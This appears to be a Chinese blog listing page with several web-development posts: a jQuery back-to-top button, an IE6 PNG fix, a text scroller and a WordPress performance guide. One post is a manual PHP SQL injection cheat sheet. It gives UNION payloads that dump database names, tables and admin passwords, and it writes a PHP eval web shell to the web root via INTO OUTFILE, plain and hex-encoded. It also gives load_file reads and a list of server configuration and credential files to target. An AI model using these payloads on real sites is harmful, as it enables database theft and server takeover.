作者: admin

  • jquery 侧边 置顶 固定 悬浮

    如果网站的内容页面过长,当用户浏览到网页的底部还需要滑动滚动条才能到顶部,这里提供一个jquery特效,当我们浏览到网页底部的时候只需要点击侧边固定悬浮的置顶按钮就可以自动回到首页顶部了,这样对用户的体验很好。
    [code]<div style=”position:fixed;bottom:160px;right:60px;border:solid 1px #ccc;cursor:pointer;font-family:微软雅黑;”
    onclick=”$(‘body,html’).animate({scrollTop:0},800);” > 返<br />回<br />顶<br />部</div>[/code]
     
    [code]<div style=”position:fixed;bottom:160px;right:60px;border:solid 1px #ccc;cursor:pointer;font-family:微软雅黑;”
    onclick=”$(‘body,html’).animate({scrollTop:0},800);” > 返<br />回<br />顶<br />部</div>[/code]

    记得还要加载jquery库。

  • 解决IE6不支持png透明背景图片问题使用DD_belatedPNG

    曾经写过这类似《ie6不支持透明图片png的解决办法》的文章发现有些同学说可以使用有的不能,这里在说下IE6不支持png透明背景图片问题这次使用的是JS插件可以完美的解决本人亲测。
    1,在<head></head>之间插入以下:
    [code]<!–[if IE 6]>
    <script src=”images/DD_belatedPNG.js” type=”text/javascript”></script>
    <script type=”text/javascript”> DD_belatedPNG.fix(‘.wrap’); </script>
    <![endif]–>[/code]
    要修改.wrap成你们透明图片的背景层。
    2,加载DD_belatedPNG.js

  • php手工注入基础知识

    order by

    [code]and 1=2 union select 1,user(),database() 查选当前用户名 库名
    union select 1,group_concat(schema_name),3,4 from information_schema.schemata– //当前所有库名[/code]

     
    [code]union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()– 当前库的所有表名[/code]
     
    [code]union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=库的HEX– 查表名[/code]
     
    [code]union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=表名– 查字段[/code]

     
    [code]union select 1,concat_ws(0x3a,name,password),3,4 from admin–[/code]

     

    [code]create table a (cmd text not null);

    insert into a (cmd) values(‘<?php eval($_post[cmd])?>’);

    select cmd from a into outfile ‘d:/www/1.php’; 或者select 0x3C3F706870206576616C28245F504F53545B636D645D293F3E into outfile’d:/www/1.php

    drop table if exists a;[/code]
    manage/Manage_backup.asp
    [code]%20And%201=2%20union%20select%201,password,3,4,username%20from%20manage_user[/code]
     
    [code]%20And%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44%20from%20admin[/code]

     

    [code]load_file(0x2F7661722F7777772F68746D6C2F776562726F6F742F6F6666696365777777726F6F742F73656374696F6E73322E706870)[/code]
     
    常用的一些:
    /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
    /usr/local/apache2/conf/httpd.conf
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
    /usr/local/app/php5/lib/php.ini //PHP相关设置
    /etc/sysconfig/iptables //从中得到防火墙规则策略
    /etc/httpd/conf/httpd.conf // apache配置文件
    /etc/rsyncd.conf //同步程序配置文件
    /etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
    /etc/my.cnf //mysql的配置文件
    /etc/redhat-release //系统版本
    /etc/issue
    /etc/issue.net
    c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
    c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
    c:\Program Files\Serv-U\ServUDaemon.ini
    c:\windows\my.ini //MYSQL配置文件
    c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件

  • jquery ui文本列表从下到上滚动vertical font

    jquery 文字 滚动 垂直滚动

    jquery ui文本列表从下到上滚动vertical font效果,这样的效果在较大的新闻综合类的网站出现的比较多。
    vertical font
    jquery ui下载

  • WordPress 性能优化:为什么我的博客比你的快

    WordPress 很慢?

    很多同学都说 WordPress 很慢,但是作为全世界最常用的建站和博客系统 WordPress 来说,我相信在性能设计上肯定不会有太大的问题,WordPress 开发团队也肯定也考虑到这个问题。

    那么 WordPress 效率问题主要是出在哪里呢?根据我多年 WordPress 建站和维护的经验,很多性能的问题都是 WordPress 使用不当造成的,比如安装太多效率低下的插件,使用代码质量低下的主题,没有正确处理 WordPress 的缓存等等,所以提高 WordPress 性能,就要从这些方面入手。
    wordpress-speed-up
    今天就结合实际案例:App每日推送 这个使用 WordPress 构建的网站,给大家讲讲自己多年总结的 WordPress 优化经验和技巧:

    关于 App每日推送

    首先简单介绍下App每日推送这个网站,它是基于 WordPress 构建的 iPhone/iPad 应用推荐服务,这是目前我做过最复杂的 WordPress 网站,有多重筛选{可以通过设备(iPhone/iPad/通用),价格(免费/限免/收费)分类(游戏/应用/工具等等)选择 App},用户动态(可以关注,喜欢,发表评论,发布和回复帖子),讨论区,消息通知,用户积分,积分兑换等等功能。
    并且整个网站每个月的流量超过 500 万PV,但是网站目前的速度很快,大部分页面在 0.1 秒内生成,并且每个页面基本保持只有 2 条 SQL 查询,比如首页:2 queries in 0.063 seconds。

    那么我们是怎么进行优化的:

    静态文件优化

    网站的静态文件一般有两种:第一种是网站的 CSS,Javascript 和一些主题的常用背景图片和按钮文件,这些图片如果网站不进行改版或者其他改动,基本上是不会修改的,第二种是每天更新的网站内容中上传的图片或者附件,这些图片文件也是基本不会改动的。

    解决好静态文件存储和加速,网站性能就首先能得到基本的保证了,WordPress 构建的网站和博客也是一样的。对于这些静态文件来说,最好的解决方案永远是使用 CDN 网络进行加速,这样服务器的压力将大大降低,因为访问页面只有当前页面是在自己服务器上,其他所有图片 JS CSS 都是从 CDN获取的。
    从使用便捷性和性价比角度来说,个人推荐 WordPress 博客最方便使用的 七牛云存储。

    服务器优化

    优化好静态文件之后,就要开始对网站的动态内容进行优化,优化动态内容,首先要有一个稳定网络环境,稳定的主机供应商和服务器性能的优化。

    选择一个靠谱的主机托管商,在国内这个很多时候让你抓狂,但是只要努力还是可以的。个人选择 BGP 或者多线机房,让全国用户访问都能有不错的速度,然后尽量选择独立的服务器,再不济,也得 VPS, 因为你没有服务器的 Root 权限很多东西是无法进行的(个人博客可以考虑选择我爱水煮鱼目前使用的 Media Temple 这类的 VPS 主机),当然你也可以找我合租,速度肯定非常强悍。

    服务器问题解决之后,服务器可以做如下优化:
    (1)Web 服务器选择使用 Nginx:效率和并发比 Apache 高,系统资源消耗低,这个不是必须,个人站长使用 Apache 也可以。
    nginx
    (2)MySQL 设置 MySQL Query Cache,可以保存保存查询结果,同样的查询不再从数据库检索,对速度有很大的提升。
    mysql-cache
    (3)使用 eAccelerator 加快 PHP 脚本的执行效率:把经过编译后的 PHP 代码缓存到共享内存中,并在用户访问的时候直接调用从而起到高效的加速作用。
    eAccelerator

    WordPress 缓存机制和如何缓存

    要彻底明白和搞懂 WordPress 性能优化,首先要理解 WordPress 缓存机制,WordPress 默认是一种叫做 WordPress Object Cache 的对象缓存机制,它是把需要缓存的内容按照 Key-Value 这样的模式进行缓存(和 No-SQL 的 key-value 的有点类似),当然它还支持按照 Group 来划分和避免缓存的内容冲突。

    所以最基础的 WordPress 缓存插件就是,把 WordPress 产生的 Key-Value 存起来,如果是使用 Memcached,就是存到内存,如果使用 Flie 就是存到硬盘中,当然高级的 WordPress 插件还能做更多,比如 WP Super Cache把整个页面缓存到硬盘中,下次直接访问静态的 HTML 文件,让服务器直接绕过 PHP,节约 CPU 时间。 Batcache 会把整个页面当做一个对象存到内存里面。

    App每日推送 由于注册用户操作比较频繁,不适合 WP Super Cache 这样的静态缓存,对硬盘读写太多,讨论区又无法缓存,我们使用 Memcached 和 Batcache 搭配的内存缓存模式:

    对于已登陆的用户,Memcached 会把 WordPress 的对象存到内存里面,服务器的内存足够大,读取和存储速度也够快,并且内存缓存命中率也大于 94%。另外我们 WordPress 程序经过优化,每个页面的查询一般在 2 条左右,所以整个网站效率很高。
    对于未登录的用户,Batcache 会把整个页面当做一个对象存到内存里面,未登录用户访问的时候,整个页面从内存中取出,速度奇快。

    WordPress 程序优化

    WordPress 程序优化是基于 WordPress Object Cache 的机制对 WordPress 插件和主题进行优化,主要经验有以下几点:
    (1)只使用必须的 WordPress 插件,安装太多的 WordPress 插件很容易引起性能问题。
    (2)从正规站点下载 WordPress 主题,这样下载的主题才能保证质量和安全。
    (3)WordPress 主题和插件尽量使用模板函数,因为 WordPress 模板函数如果可能都已经做好了 WordPress Object Cache。
    比如 get_the_terms 和 wp_get_object_terms 这两个函数,功能基本一样,但是 get_the_terms 直接从对象缓存中取数据,无查询,而 wp_get_object_terms 每次都从数据库中取数据。
    (4)WordPress 插件和主题如果一定要直接查询数据库,请做好 Object Cache,将查询的结果使用 wp_cache_set 存到 Object Cache 中,下次直接使用 wp_cache_get 获取。

    WordPress 性能优化总结

    选择好的服务器和托管商,对 WordPress 程序进行优化,并且做好缓存,WordPress 效率其实很高的,加上 WordPress 本身的灵活性和功能强大,WordPress 作为各种建站绝对是非常不错的选择,所以我一直使用 WordPress 建站。

    WPJam Debug 插件

    最后补充一个 WordPress 性能检测的插件:WPJAM Debug,可以在页脚显示当前页面有多少条 SQL 查询,页面生成花了多少时间,并且把 SQL 按照执行顺序和按照耗时两种方式列出,通过这样的方式帮你分析 WordPress 哪条 SQL 查询有问题或者比较慢,然后着手改进它。